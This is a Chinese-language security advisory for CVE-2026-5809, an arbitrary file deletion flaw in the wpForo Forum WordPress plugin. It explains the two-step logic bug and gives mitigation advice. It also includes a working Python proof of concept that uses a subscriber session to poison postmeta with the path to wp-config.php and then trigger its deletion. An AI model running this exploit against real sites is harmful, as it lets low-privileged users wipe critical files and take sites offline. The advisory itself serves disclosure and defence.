IPBUF安全漏洞报告
English
CVE-2026-5809 CVSS 7.1 高危

CVE-2026-5809 WordPress wpForo插件任意文件删除漏洞

披露日期: 2026-04-11

漏洞信息

漏洞编号
CVE-2026-5809
漏洞类型
任意文件删除
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WordPress wpForo Forum 插件

相关标签

WordPresswpForo任意文件删除认证后逻辑漏洞

漏洞概述

WordPress wpForo Forum插件在3.0.2及以下版本中存在任意文件删除漏洞。该漏洞源于两步逻辑缺陷,topic_add和topic_edit动作处理程序接受来自$_REQUEST的任意用户数据数组,并将其作为postmeta存储,未限制哪些字段可以包含数组值。由于body在允许的主题字段列表中,攻击者可以提供data[body][fileurl]并附带任意文件路径。随后,攻击者通过topic_edit请求提交wpftcf_delete[]=body,插件会检索存储的postmeta记录,提取攻击者控制的文件url,并调用wp_delete_file()删除该文件。这允许经过身份验证的订阅者级别及以上的攻击者删除服务器上PHP进程可写的任意关键文件,如wp-config.php。

技术细节

该漏洞的核心在于对用户输入数据的处理缺乏严格的类型和路径验证。首先,在创建或编辑主题时,插件未正确过滤$_REQUEST中的data参数。攻击者可以利用data[body][fileurl]字段传入恶意路径(例如../../wp-config.php),该路径被直接持久化存储到插件的postmeta数据库表中。其次,在触发删除操作时,add_file方法读取该路径。虽然经过wpforo_fix_upload_dir函数处理,但该函数仅重写合法的wpforo上传路径,对于其他路径原样返回。最终,未经验证的路径被传递给WordPress核心函数wp_delete_file,导致文件被删除。由于仅需订阅者权限即可触发,该漏洞对网站安全性构成严重威胁,可导致网站完全瘫痪(通过删除配置文件)。

攻击链分析

STEP 1
步骤1
攻击者使用具有订阅者级别或更高权限的账户登录WordPress。
STEP 2
步骤2
攻击者发送编辑或创建主题的请求,在参数data[body][fileurl]中注入恶意的文件路径(如wp-config.php)。
STEP 3
步骤3
插件将包含恶意路径的数据存储到数据库的postmeta表中。
STEP 4
步骤4
攻击者发送另一个编辑请求,包含参数wpftcf_delete[]=body,触发删除逻辑。
STEP 5
步骤5
插件检索存储的恶意路径,绕过路径修复函数,调用wp_delete_file()删除服务器上的任意文件。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration TARGET_URL = "http://example.com/wp-admin/admin-ajax.php" COOKIE = "wordpress_logged_in_xxx=..." # Subscriber cookie NONCE = "..." # Valid wpforo nonce TOPIC_ID = 1 headers = { "Cookie": COOKIE } # Step 1: Poison the postmeta with arbitrary file path # Inject the path via the data[body][fileurl] parameter data_step1 = { "action": "wpforo_topic_ajax", "do": "edit", "topicid": TOPIC_ID, "data[body][fileurl]": "/var/www/html/wp-config.php", # Target file to delete "wpforo_post_form_nonce": NONCE } # r1 = requests.post(TARGET_URL, data=data_step1, headers=headers) # Step 2: Trigger the deletion # Send wpftcf_delete[] to trigger the file deletion logic data_step2 = { "action": "wpforo_topic_ajax", "do": "edit", "topicid": TOPIC_ID, "wpftcf_delete[]": "body", "wpforo_post_form_nonce": NONCE } # r2 = requests.post(TARGET_URL, data=data_step2, headers=headers) # print("Exploit executed.")

影响范围

wpForo Forum <= 3.0.2

防御指南

临时缓解措施
建议立即检查并升级插件。若无法立即升级,可暂时禁用该插件或通过Web应用防火墙(WAF)拦截包含data[body][fileurl]及wpftcf_delete参数的异常请求,并严格限制服务器文件权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表